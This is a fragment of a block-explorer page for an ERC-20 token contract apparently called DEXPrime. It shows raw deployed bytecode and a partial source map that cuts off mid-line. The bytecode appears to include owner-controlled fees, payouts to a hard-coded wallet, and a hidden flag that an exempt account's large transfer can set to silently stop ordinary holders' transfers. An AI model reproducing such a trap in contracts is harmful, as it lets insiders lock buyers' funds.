634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a8576104a8611611565b808201808211156104a8576104a8611611565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a5575f80fd5b81516104f7816114a0565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117005784516001600160a01b0316835293830193918301916001016116db565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611733575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220cd3a5b8b8d7229a1ae12196fd3e63a6dae8b80086b9d4128efc1e4239fe39ac964736f6c63430008160033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b35780639358928b1161006d5780639358928b146103c357806395d89b41146103d7578063a9059cbb14610402578063a9e7572314610421578063dd62ed3e14610435578063f2fde38b14610479575f80fd5b8063715018a614610343578063751039fc14610357578063893d20e81461036b5780638a8c523c146103875780638c0b5e221461039b5780638f3fa860146103af575f80fd5b8063318111fb11610104578063318111fb1461024b57806336a0f8a51461026c57806348f5cc981461028b57806349bd5a5e146102aa5780636706515c146102e157806370a082311461030f575f80fd5b806306fdde0314610155578063095ea7b31461019757806318160ddd146101c657806323b872dd146101e45780632f54bf6e14610203578063313ce56714610230575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b506040805180820190915260088152674445585072696d6560c01b60208201525b60405161018e9190611454565b60405180910390f35b3480156101a2575f80fd5b506101b66101b13660046114b7565b610498565b604051901515815260200161018e565b3480156101d1575f80fd5b506005545b60405190815260200161018e565b3480156101ef575f80fd5b506101b66101fe3660046114e1565b6104ae565b34801561020e575f80fd5b506101b661021d36600461151f565b5f546001600160a01b0391821691161490565b34801561023b575f80fd5b506040516009815260200161018e565b348015610256575f80fd5b5061026a61026536600461153a565b6104fe565b005b348015610277575f80fd5b5061026a610286366004611581565b610575565b348015610296575f80fd5b5061026a6102a53660046115aa565b61064b565b3480156102b5575f80fd5b506002546102c9906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b3480156102ec575f80fd5b506101b66102fb36600461151f565b600f6020525f908152604090205460ff1681565b34801561031a575f80fd5b506101d661032936600461151f565b6001600160a01b03165f9081526010602052604090205490565b34801561034e575f80fd5b5061026a61068a565b348015610362575f80fd5b5061026a6106e3565b348015610376575f80fd5b505f546001600160a01b03166102c9565b348015610392575f80fd5b5061026a61070a565b3480156103a6575f80fd5b506101d6610730565b3480156103ba575f80fd5b506101d6610759565b3480156103ce575f80fd5b506101d6610769565b3480156103e2575f80fd5b5060408051808201909152600381526204458560ec1b6020820152610181565b34801561040d575f80fd5b506101b661041c3660046114b7565b6107d1565b34801561042c575f80fd5b506101d66107dd565b348015610440575f80fd5b506101d661044f3660046115e5565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b348015610484575f80fd5b5061026a61049336600461151f565b6107ed565b5f6104a4338484610855565b5060015b92915050565b5f6104ba8484846108da565b6001600160a01b0384165f908152600e60209081526040808320338085529252909120546104f39186916104ee9086610bf9565b610855565b5060015b9392505050565b5f546001600160a01b03163314610513575f80fd5b6016879055601586905560148590556017849055601183905560128290556013819055600354610544906005610c04565b60115411158015610564575060035461055e906005610c04565b60125411155b61056c575f80fd5b50505050505050565b5f546001600160a01b0316331461058a575f80fd5b5f6127108361059860055490565b6105a29190611625565b6105ac919061163c565b90505f612710836105bc60055490565b6105c69190611625565b6105d0919061163c565b90505f612710866105e060055490565b6105ea9190611625565b6105f4919061163c565b60078690556008859055600687905590505f6106266103e8610620600561061a60055490565b90610c0f565b90610c04565b90508082101580156106385750808410155b801561056457508083101561056c575f80fd5b5f546001600160a01b03163314610660575f80fd5b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461069f575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106f8575f80fd5b61271060078190556006819055600855565b5f546001600160a01b0316331461071f575f80fd5b600d805461ff001916610100179055565b5f60035460065461074060055490565b61074a9190611625565b610754919061163c565b905090565b5f60035460085461074060055490565b60106020527f9e93e1db4a1f807cc22b2aecf4deeb0bf5745f1ecb319e87c68c5624c0fa6b69545f8080527f6e0956cda88cad152e89927e53611735b61a5c762d1428573c6931b0a5efcb015460055491926107549290916107cb9190610bf9565b90610bf9565b5f6104a43384846108da565b5f60035460075461074060055490565b5f546001600160a01b03163314610802575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610867575f80fd5b6001600160a01b038216610879575f80fd5b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116108e5575f80fd5b6001600160a01b0382166108f7575f80fd5b6001600160a01b038316610909575f80fd5b6109138383610c1a565b801561092457506109248383610c76565b80156109365750610936838383610cce565b80156109485750610948838383610d93565b15610bf4578061096c846001600160a01b03165f9081526010602052604090205490565b10610ae0576001600160a01b0383165f908152600f602052604090205460ff161580156109a757506002546001600160a01b03848116911614155b80156109cb57506001600160a01b0382165f908152600f602052604090205460ff16155b80156109df5750600954610100900460ff16155b156109fe57600d5460ff16156109f457505050565b6109fe8383610e61565b6001600160a01b0383165f90815260106020526040902054610a209082610bf9565b6001600160a01b0384165f90815260106020526040812091909155610a458484610ea0565b610a4f5781610a5a565b610a5a848484610ee4565b6001600160a01b0384165f90815260106020526040902054909150610a7f9082610fce565b6001600160a01b038085165f8181526010602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad29085815260200190565b60405180910390a350505050565b6001600160a01b0383165f908152600f602052604090205460ff168015610b1557506002546001600160a01b03848116911614155b8015610b3957506001600160a01b0382165f908152600f602052604090205460ff16155b8015610b4d5750600954610100900460ff16155b15610bf4576001600160a01b0382165f90815260106020526040902054610b749082610bf9565b6001600160a01b038084165f908152601060205260408082209390935590851681522054610ba29082610fce565b6001600160a01b038481165f8181526010602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108cd565b505050565b5f6104f7828461165b565b5f6104f7828461163c565b5f6104f78284611625565b6002545f906001600160a01b038381169116148015610c5157506001600160a01b0383165f908152600f602052604090205460ff16155b156104a4576001600a5f828254610c68919061166e565b909155505050600192915050565b6001600160a01b0382165f908152600f602052604081205460ff16158015610cb657506001600160a01b0382165f908152600f602052604090205460ff16155b156104a457600d54610100900460ff166104a4575f80fd5b6002545f906001600160a01b03858116911614610d3c57610ced6107dd565b82111580610d1257506001600160a01b0384165f908152600f602052604090205460ff165b80610d3457506001600160a01b0383165f908152600f602052604090205460ff165b610d3c575f80fd5b610d44610730565b82111580610d6957506001600160a01b0384165f908152600f602052604090205460ff165b80610d8b57506001600160a01b0383165f908152600f602052604090205460ff165b6104f3575f80fd5b6001600160a01b038084165f908152600f6020526040808220549285168252812054909160ff9081169116808015610dcc575060045484115b15610ddf57600d805460ff191660011790555b6002546001600160a01b03868116911614801590610dfb575081155b8015610e1257506001600160a01b03851661dead14155b8015610e1c575080155b15610e5557610e29610759565b6001600160a01b0386165f90815260106020526040902054610e4b9086610fce565b1115610e55575f80fd5b50600195945050505050565b610e6b8282610fd9565b15610e9c57305f90815260106020526040902054600b548110610e8d5750600b545b610e968161107c565b505f600a555b5050565b6001600160a01b0382165f908152600f602052604081205460ff161580156104f75750506001600160a01b03165f908152600f602052604090205460ff1615919050565b5f80610ef085856111fb565b1115610fc7575f610f12610f0486866111fb565b60035461061a908690610c04565b305f90815260106020526040902054909150610f2e9082610fce565b305f81815260106020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f7e9085815260200190565b60405180910390a360145415610fb557610fb53061dead610fb060145461061a60035489610c0490919063ffffffff16565b6108da565b610fbf8382610bf9565b9150506104f7565b5092915050565b5f6104f7828461166e565b6009545f90610100900460ff1615801561100b57506001600160a01b0383165f908152600f602052604090205460ff16155b801561102f57506001600160a01b0382165f908152600f602052604090205460ff16155b80156110425750600d54610100900460ff165b801561105e5750600c54305f9081526010602052604090205410155b8015611068575060015b80156104f757505060095460ff1692915050565b6009805461ff0019166101001790556017546015546016545f926110b59260029261061a92916110af9182906001610fce565b90610fce565b90505f6110d18261062060165486610c0f90919063ffffffff16565b90505f6110de8483610bf9565b9050476110ea82611245565b5f6110f54783610bf9565b90505f61111761111060165488610bf990919063ffffffff16565b8390610c04565b90505f61112f60165483610c0f90919063ffffffff16565b905080156111415761114186826113a5565b6015545f906111559061061a856002610c0f565b9050801561119d5760405173459cdedfcc6873b22f89f2a7954e284c90723cae9082156108fc029083905f818181858888f1935050505015801561119b573d5f803e3d5ffd5b505b4780156111e45760405173459cdedfcc6873b22f89f2a7954e284c90723cae9082156108fc029083905f818181858888f193505050501580156111e2573d5f803e3d5ffd5b505b50506009805461ff00191690555050505050505050565b6002545f906001600160a01b039081169083160361121c57506012546104a8565b6002546001600160a01b039081169084160361123b57506011546104a8565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127857611278611681565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112cf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f39190611695565b8160018151811061130657611306611681565b6001600160a01b03909216602092830291909101909101528115610e9c5760015461133c9030906001600160a01b031684610855565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113749085905f908690309042906004016116b0565b5f604051808303815f87803b15801561138b575f80fd5b505af115801561139d573d5f803e3d5ffd5b505050505050565b6001546113bd9030906001600160a01b031684610855565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611428573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061144d9190611721565b5050505050565b5f602080835283518060208501525f5b8181101561148057858101830151858201604001528201611464565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b4575f80fd5b50565b5f80604083850312156114c8575f80fd5b82356114d3816114a0565b946020939093013593505050565b5f805f606084860312156114f3575f80fd5b83356114fe816114a0565b9250602084013561150e816114a0565b929592945050506040919091013590565b5f6020828403121561152f575f80fd5b81356104f7816114a0565b5f805f805f805f60e0888a031215611550575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f60608486031215611593575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156115bb575f80fd5b82356115c6816114a0565b9150602083013580151581146115da575f80fd5b809150509250929050565b5f80604083850312156115f6575f80fd5b8235611601816114a0565b915060208301356115da816114a0565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104a8576104a8611611565b5f8261165657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a8576104a8611611565b808201808211156104a8576104a8611611565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a5575f80fd5b81516104f7816114a0565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117005784516001600160a01b0316835293830193918301916001016116db565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611733575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220cd3a5b8b8d7229a1ae12196fd3e63a6dae8b80086b9d4128efc1e4239fe39ac964736f6c63430008160033

Deployed Bytecode Sourcemap

2917:13003:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5348:83;;;;;;;;;;-1:-1:-1;5418:5:0;;;;;;;;;;;;-1:-1:-1;;;5418:5:0;;;;5348:83;;;;;;;:::i;:::-;;;;;;;;6812:159;;;;;;;;;;-1:-1:-1;6812:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6812:159:0;1023:187:1;5894:100:0;;;;;;;;;;-1:-1:-1;5974:12:0;;5894:100;;;1361:25:1;;;1349:2;1334:18;5894:100:0;1215:177:1;8717:243:0;;;;;;;;;;-1:-1:-1;8717:243:0;;;;;:::i;:::-;;:::i;1608:103::-;;;;;;;;;;-1:-1:-1;1608:103:0;;;;;:::i;:::-;1663:4;1698:5;-1:-1:-1;;;;;1687:16:0;;;1698:5;;1687:16;;1608:103;5534:83;;;;;;;;;;-1:-1:-1;5534:83:0;;3198:1;2252:36:1;;2240:2;2225:18;5534:83:0;2110:184:1;10057:495:0;;;;;;;;;;-1:-1:-1;10057:495:0;;;;;:::i;:::-;;:::i;:::-;;9337:712;;;;;;;;;;-1:-1:-1;9337:712:0;;;;;:::i;:::-;;:::i;6979:117::-;;;;;;;;;;-1:-1:-1;6979:117:0;;;;;:::i;:::-;;:::i;3126:28::-;;;;;;;;;;-1:-1:-1;3126:28:0;;;;-1:-1:-1;;;;;3126:28:0;;;;;;-1:-1:-1;;;;;3802:32:1;;;3784:51;;3772:2;3757:18;3126:28:0;3638:203:1;4228:42:0;;;;;;;;;;-1:-1:-1;4228:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6153:119;;;;;;;;;;-1:-1:-1;6153:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6246:18:0;6219:7;6246:18;;;:9;:18;;;;;;;6153:119;1719:139;;;;;;;;;;;;;:::i;6280:166::-;;;;;;;;;;;;;:::i;5625:92::-;;;;;;;;;;-1:-1:-1;5677:7:0;5704:5;-1:-1:-1;;;;;5704:5:0;5625:92;;6454:85;;;;;;;;;;;;;:::i;13696:126::-;;;;;;;;;;;;;:::i;13830:132::-;;;;;;;;;;;;;:::i;5725:161::-;;;;;;;;;;;;;:::i;5439:87::-;;;;;;;;;;-1:-1:-1;5511:7:0;;;;;;;;;;;;-1:-1:-1;;;5511:7:0;;;;5439:87;;7104:151;;;;;;;;;;-1:-1:-1;7104:151:0;;;;;:::i;:::-;;:::i;13970:138::-;;;;;;;;;;;;;:::i;6002:143::-;;;;;;;;;;-1:-1:-1;6002:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6110:18:0;;;6083:7;6110:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6002:143;1866:148;;;;;;;;;;-1:-1:-1;1866:148:0;;;;;:::i;:::-;;:::i;6812:159::-;6887:4;6904:37;6913:10;6925:7;6934:6;6904:8;:37::i;:::-;-1:-1:-1;6959:4:0;6812:159;;;;;:::o;8717:243::-;8806:4;8823:27;8833:4;8839:2;8843:6;8823:9;:27::i;:::-;-1:-1:-1;;;;;8888:17:0;;;;;;:11;:17;;;;;;;;8876:10;8888:29;;;;;;;;;8861:69;;8870:4;;8888:41;;8922:6;8888:33;:41::i;:::-;8861:8;:69::i;:::-;-1:-1:-1;8948:4:0;8717:243;;;;;;:::o;10057:495::-;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;10239:13:::1;:28:::0;;;10278:12:::1;:26:::0;;;10315:8:::1;:18:::0;;;10344:7:::1;:16:::0;;;10371:9:::1;:20:::0;;;10402:8:::1;:18:::0;;;10431:12:::1;:26:::0;;;-1:-1:-1;10489:12:0;:19:::1;::::0;-1:-1:-1;10489:16:0::1;:19::i;:::-;10476:9;;:32;;:67;;;;-1:-1:-1::0;10524:12:0::1;::::0;:19:::1;::::0;10541:1:::1;10524:16;:19::i;:::-;10512:8;;:31;;10476:67;10468:76;;;::::0;::::1;;10057:495:::0;;;;;;;:::o;9337:712::-;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;9474:25:::1;9544:5;9519:21;9503:13;5974:12:::0;;;5894:100;9503:13:::1;:37;;;;:::i;:::-;9502:47;;;;:::i;:::-;9474:75;;9560:26;9629:5;9606:19;9590:13;5974:12:::0;;;5894:100;9590:13:::1;:35;;;;:::i;:::-;9589:45;;;;:::i;:::-;9560:74;;9645:19;9703:5;9684:15;9668:13;5974:12:::0;;;5894:100;9668:13:::1;:31;;;;:::i;:::-;9667:41;;;;:::i;:::-;9719:22;:46:::0;;;9776:20:::1;:42:::0;;;9829:16:::1;:34:::0;;;9645:63;-1:-1:-1;;9895:30:0::1;9920:4;9895:20;9913:1;9895:13;5974:12:::0;;;5894:100;9895:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;9874:51;;9959:10;9944:11;:25;;:60;;;;;9994:10;9973:17;:31;;9944:60;:96;;;;;10030:10;10008:18;:32;;9936:105;;;::::0;::::1;6979:117:::0;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;-1:-1:-1;;;;;7061:19:0;;;::::1;;::::0;;;:9:::1;:19;::::0;;;;:27;;-1:-1:-1;;7061:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6979:117::o;1719:139::-;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;1800:1:::1;1784:18:::0;;-1:-1:-1;;;;;;1784:18:0::1;::::0;;1818:32:::1;::::0;3784:51:1;;;1818:32:0::1;::::0;3772:2:1;3757:18;1818:32:0::1;;;;;;;1719:139::o:0;6280:166::-;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;6359:5:::1;6334:22;:30:::0;;;6375:16:::1;:24:::0;;;6410:20:::1;:28:::0;6280:166::o;6454:85::-;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;6509:15:::1;:22:::0;;-1:-1:-1;;6509:22:0::1;;;::::0;;6454:85::o;13696:126::-;13740:7;13802:12;;13783:16;;13767:13;5974:12;;;5894:100;13767:13;:32;;;;:::i;:::-;:47;;;;:::i;:::-;13760:54;;13696:126;:::o;13830:132::-;13876:7;13942:12;;13919:20;;13903:13;5974:12;;;5894:100;5725:161;6246:9;:18;;;;5784:7;6246:18;;;;;5811:12;;5784:7;;5811:67;;6246:18;;5811:39;;:12;:16;:39::i;:::-;:43;;:67::i;7104:151::-;7175:4;7192:33;7202:10;7214:2;7218:6;7192:9;:33::i;13970:138::-;14020:7;14088:12;;14063:22;;14047:13;5974:12;;;5894:100;1866:148;1663:4;1698:5;-1:-1:-1;;;;;1698:5:0;2070:10;1687:16;2054:28;;;;;;1946:5:::1;:15:::0;;-1:-1:-1;;;;;;1946:15:0::1;-1:-1:-1::0;;;;;1946:15:0;::::1;::::0;;::::1;::::0;;;1977:29:::1;::::0;3784:51:1;;;1977:29:0::1;::::0;3772:2:1;3757:18;1977:29:0::1;;;;;;;1866:148:::0;:::o;6547:257::-;-1:-1:-1;;;;;6640:19:0;;6632:28;;;;;;-1:-1:-1;;;;;6679:21:0;;6671:30;;;;;;-1:-1:-1;;;;;6712:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6764:32;;1361:25:1;;;6764:32:0;;1334:18:1;6764:32:0;;;;;;;;6547:257;;;:::o;7263:1446::-;7368:1;7351:6;:19;7343:28;;;;;;-1:-1:-1;;;;;7390:16:0;;7382:25;;;;;;-1:-1:-1;;;;;7426:18:0;;7418:27;;;;;;7476:20;7487:4;7493:2;7476:10;:20::i;:::-;:61;;;;;7513:24;7528:4;7534:2;7513:14;:24::i;:::-;7476:113;;;;;7554:35;7572:4;7578:2;7582:6;7554:17;:35::i;:::-;7476:169;;;;;7606:39;7628:4;7634:2;7638:6;7606:21;:39::i;:::-;7458:1244;;;7695:6;7676:15;7686:4;-1:-1:-1;;;;;6246:18:0;6219:7;6246:18;;;:9;:18;;;;;;;6153:119;7676:15;:25;7672:1019;;-1:-1:-1;;;;;7749:15:0;;;;;;:9;:15;;;;;;;;7748:16;:62;;;;-1:-1:-1;7797:13:0;;-1:-1:-1;;;;;7789:21:0;;;7797:13;;7789:21;;7748:62;:101;;;;-1:-1:-1;;;;;;7836:13:0;;;;;;:9;:13;;;;;;;;7835:14;7748:101;:138;;;;-1:-1:-1;7875:11:0;;;;;;;7874:12;7748:138;7722:297;;;7933:17;;;;7929:30;;;7263:1446;;;:::o;7929:30::-;7981:18;7990:4;7996:2;7981:8;:18::i;:::-;-1:-1:-1;;;;;8055:15:0;;;;;;:9;:15;;;;;;:27;;8075:6;8055:19;:27::i;:::-;-1:-1:-1;;;;;8037:15:0;;;;;;:9;:15;;;;;:45;;;;8126:24;8047:4;8147:2;8126:14;:24::i;:::-;:64;;8184:6;8126:64;;;8153:28;8164:4;8170:2;8174:6;8153:10;:28::i;:::-;-1:-1:-1;;;;;8225:13:0;;;;;;:9;:13;;;;;;8101:89;;-1:-1:-1;8225:33:0;;8101:89;8225:17;:33::i;:::-;-1:-1:-1;;;;;8209:13:0;;;;;;;:9;:13;;;;;;;:49;;;;8282:34;;;;;;;;;;8301:14;1361:25:1;;1349:2;1334:18;;1215:177;8282:34:0;;;;;;;;7703:629;7263:1446;;;:::o;7672:1019::-;-1:-1:-1;;;;;8360:15:0;;;;;;:9;:15;;;;;;;;:57;;;;-1:-1:-1;8404:13:0;;-1:-1:-1;;;;;8396:21:0;;;8404:13;;8396:21;;8360:57;:92;;;;-1:-1:-1;;;;;;8439:13:0;;;;;;:9;:13;;;;;;;;8438:14;8360:92;:125;;;;-1:-1:-1;8474:11:0;;;;;;;8473:12;8360:125;8338:353;;;-1:-1:-1;;;;;8536:13:0;;;;;;:9;:13;;;;;;:25;;8554:6;8536:17;:25::i;:::-;-1:-1:-1;;;;;8520:13:0;;;;;;;:9;:13;;;;;;:41;;;;8598:15;;;;;;;:27;;8618:6;8598:19;:27::i;:::-;-1:-1:-1;;;;;8580:15:0;;;;;;;:9;:15;;;;;;;;;:45;;;;8649:26;1361:25:1;;;8649:26:0;;;;8580:15;;8649:26;;1334:18:1;8649:26:0;1215:177:1;8338:353:0;7263:1446;;;:::o;1264:98::-;1322:7;1349:5;1353:1;1349;:5;:::i;1052:98::-;1110:7;1137:5;1141:1;1137;:5;:::i;1158:98::-;1216:7;1243:5;1247:1;1243;:5;:::i;11797:207::-;11888:13;;11861:4;;-1:-1:-1;;;;;11882:19:0;;;11888:13;;11882:19;:39;;;;-1:-1:-1;;;;;;11906:15:0;;;;;;:9;:15;;;;;;;;11905:16;11882:39;11878:97;;;11961:1;11938:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;;11992:4:0;11797:207;;;;:::o;12016:210::-;-1:-1:-1;;;;;12111:15:0;;12089:4;12111:15;;;:9;:15;;;;;;;;12110:16;:34;;;;-1:-1:-1;;;;;;12131:13:0;;;;;;:9;:13;;;;;;;;12130:14;12110:34;12106:91;;;12169:15;;;;;;;12161:24;;;;;8968:361;9095:13;;9066:4;;-1:-1:-1;;;;;9087:21:0;;;9095:13;;9087:21;9083:133;;9148:19;:17;:19::i;:::-;9133:11;:34;;:53;;;-1:-1:-1;;;;;;9171:15:0;;;;;;:9;:15;;;;;;;;9133:53;:70;;;-1:-1:-1;;;;;;9190:13:0;;;;;;:9;:13;;;;;;;;9133:70;9125:79;;;;;;9249:13;:11;:13::i;:::-;9234:11;:28;;:47;;;-1:-1:-1;;;;;;9266:15:0;;;;;;:9;:15;;;;;;;;9234:47;:64;;;-1:-1:-1;;;;;;9285:13:0;;;;;;:9;:13;;;;;;;;9234:64;9226:73;;;;;10560:554;-1:-1:-1;;;;;10687:15:0;;;10651:4;10687:15;;;:9;:15;;;;;;;10730:13;;;;;;;;10651:4;;10687:15;;;;;10730:13;;10768:37;;;;;10790:15;;10781:6;:24;10768:37;10764:67;;;10807:17;:24;;-1:-1:-1;;10807:24:0;10827:4;10807:24;;;10764:67;10876:13;;-1:-1:-1;;;;;10862:28:0;;;10876:13;;10862:28;;;;:57;;;10908:11;10907:12;10862:57;:100;;;;-1:-1:-1;;;;;;10936:26:0;;3580:42;10936:26;;10862:100;:127;;;;;10980:9;10979:10;10862:127;10844:239;;;11055:15;:13;:15::i;:::-;-1:-1:-1;;;;;11025:13:0;;;;;;:9;:13;;;;;;:25;;11043:6;11025:17;:25::i;:::-;11024:46;;11016:55;;;;;;-1:-1:-1;11102:4:0;;10560:554;-1:-1:-1;;;;;10560:554:0:o;15193:403::-;15261:22;15274:4;15280:2;15261:12;:22::i;:::-;15257:332;;;15349:4;15300:28;6246:18;;;:9;:18;;;;;;15398:15;;15374:39;;15370:118;;-1:-1:-1;15457:15:0;;15370:118;15502:36;15517:20;15502:14;:36::i;:::-;-1:-1:-1;15575:1:0;15553:11;:24;15257:332;15193:403;;:::o;12234:139::-;-1:-1:-1;;;;;12332:15:0;;12307:4;12332:15;;;:9;:15;;;;;;;;12331:16;:34;;;;-1:-1:-1;;;;;;;12352:13:0;;;;;:9;:13;;;;;;;;12351:14;;12234:139;-1:-1:-1;12234:139:0:o;11122:667::-;11207:7;11257:1;11231:23;11245:4;11251:2;11231:13;:23::i;:::-;:27;11227:526;;;11275:25;11303:58;11337:23;11351:4;11357:2;11337:13;:23::i;:::-;11319:12;;11303:29;;:11;;:15;:29::i;:58::-;11421:4;11403:24;;;;:9;:24;;;;;;11275:86;;-1:-1:-1;11403:47:0;;11275:86;11403:28;:47::i;:::-;11394:4;11376:24;;;;:9;:24;;;;;;;:74;;;;11470:48;;-1:-1:-1;;;;;11470:48:0;;;;;;;11500:17;1361:25:1;;1349:2;1334:18;;1215:177;11470:48:0;;;;;;;;11537:8;;:21;11533:153;;11579:91;11597:4;3580:42;11626:43;11660:8;;11626:29;11642:12;;11626:11;:15;;:29;;;;:::i;:43::-;11579:9;:91::i;:::-;11707:34;:11;11723:17;11707:15;:34::i;:::-;11700:41;;;;;11227:526;-1:-1:-1;11770:11:0;11122:667;-1:-1:-1;;11122:667:0:o;1370:98::-;1428:7;1455:5;1459:1;1455;:5;:::i;12935:381::-;13046:11;;13006:4;;13046:11;;;;;13045:12;:45;;;;-1:-1:-1;;;;;;13075:15:0;;;;;;:9;:15;;;;;;;;13074:16;13045:45;:76;;;;-1:-1:-1;;;;;;13108:13:0;;;;;;:9;:13;;;;;;;;13107:14;13045:76;:108;;;;-1:-1:-1;13138:15:0;;;;;;;13045:108;:177;;;;-1:-1:-1;13198:24:0;;13188:4;6219:7;6246:18;;;:9;:18;;;;;;13170:52;;13045:177;:219;;;;-1:-1:-1;13239:25:0;13045:219;:252;;;;-1:-1:-1;;13281:16:0;;;;;12935:381;-1:-1:-1;;12935:381:0:o;14116:1069::-;5272:11;:18;;-1:-1:-1;;5272:18:0;;;;;14256:7:::1;::::0;14238:12:::1;::::0;14213:13:::1;::::0;5272:18;;14212:60:::1;::::0;14270:1:::1;::::0;14213:51:::1;::::0;14256:7;14213:38:::1;::::0;;;5286:4;14213:17:::1;:20::i;:::-;:24:::0;::::1;:38::i;14212:60::-;14190:82;;14283:25;14311:42;14341:11;14311:25;14322:13;;14311:6;:10;;:25;;;;:::i;:42::-;14283:70:::0;-1:-1:-1;14364:20:0::1;14387:29;:6:::0;14283:70;14387:10:::1;:29::i;:::-;14364:52:::0;-1:-1:-1;14455:21:0::1;14487:30;14364:52:::0;14487:16:::1;:30::i;:::-;14528:16;14547:44;:21;14573:17:::0;14547:25:::1;:44::i;:::-;14528:63;;14602:15;14620:44;14633:30;14649:13;;14633:11;:15;;:30;;;;:::i;:::-;14620:8:::0;;:12:::1;:44::i;:::-;14602:62;;14675:22;14700:26;14712:13;;14700:7;:11;;:26;;;;:::i;:::-;14675:51:::0;-1:-1:-1;14741:27:0;;14737:107:::1;;14785:47;14798:17;14817:14;14785:12;:47::i;:::-;14895:12;::::0;14854:19:::1;::::0;14876:32:::1;::::0;:14:::1;:7:::0;14888:1:::1;14876:11;:14::i;:32::-;14854:54:::0;-1:-1:-1;14923:15:0;;14919:87:::1;;14955:39;::::0;3666:42:::1;::::0;14955:39;::::1;;;::::0;14982:11;;14955:39:::1;::::0;;;14982:11;3666:42;14955:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14919:87;15041:21;15077:27:::0;;15073:105:::1;;15121:45;::::0;3755:42:::1;::::0;15121:45;::::1;;;::::0;15151:14;;15121:45:::1;::::0;;;15151:14;3755:42;15121:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;15073:105;-1:-1:-1::0;;5313:11:0;:19;;-1:-1:-1;;5313:19:0;;;-1:-1:-1;;;;;;;;14116:1069:0:o;15604:276::-;15706:13;;15676:7;;-1:-1:-1;;;;;15706:13:0;;;15700:19;;;;15696:67;;-1:-1:-1;15743:8:0;;15736:15;;15696:67;15785:13;;-1:-1:-1;;;;;15785:13:0;;;15777:21;;;;15773:70;;-1:-1:-1;15822:9:0;;15815:16;;15773:70;-1:-1:-1;15860:12:0;;15604:276;;;;:::o;12381:546::-;12471:16;;;12485:1;12471:16;;;;;;;;12447:21;;12471:16;;;;;;;;;;-1:-1:-1;12471:16:0;12447:40;;12516:4;12498;12503:1;12498:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12498:23:0;;;:7;;;;;;;;;;:23;;;;12542:15;;:22;;;-1:-1:-1;;;12542:22:0;;;;:15;;;;;:20;;:22;;;;;12498:7;;12542:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12532:4;12537:1;12532:7;;;;;;;;:::i;:::-;-1:-1:-1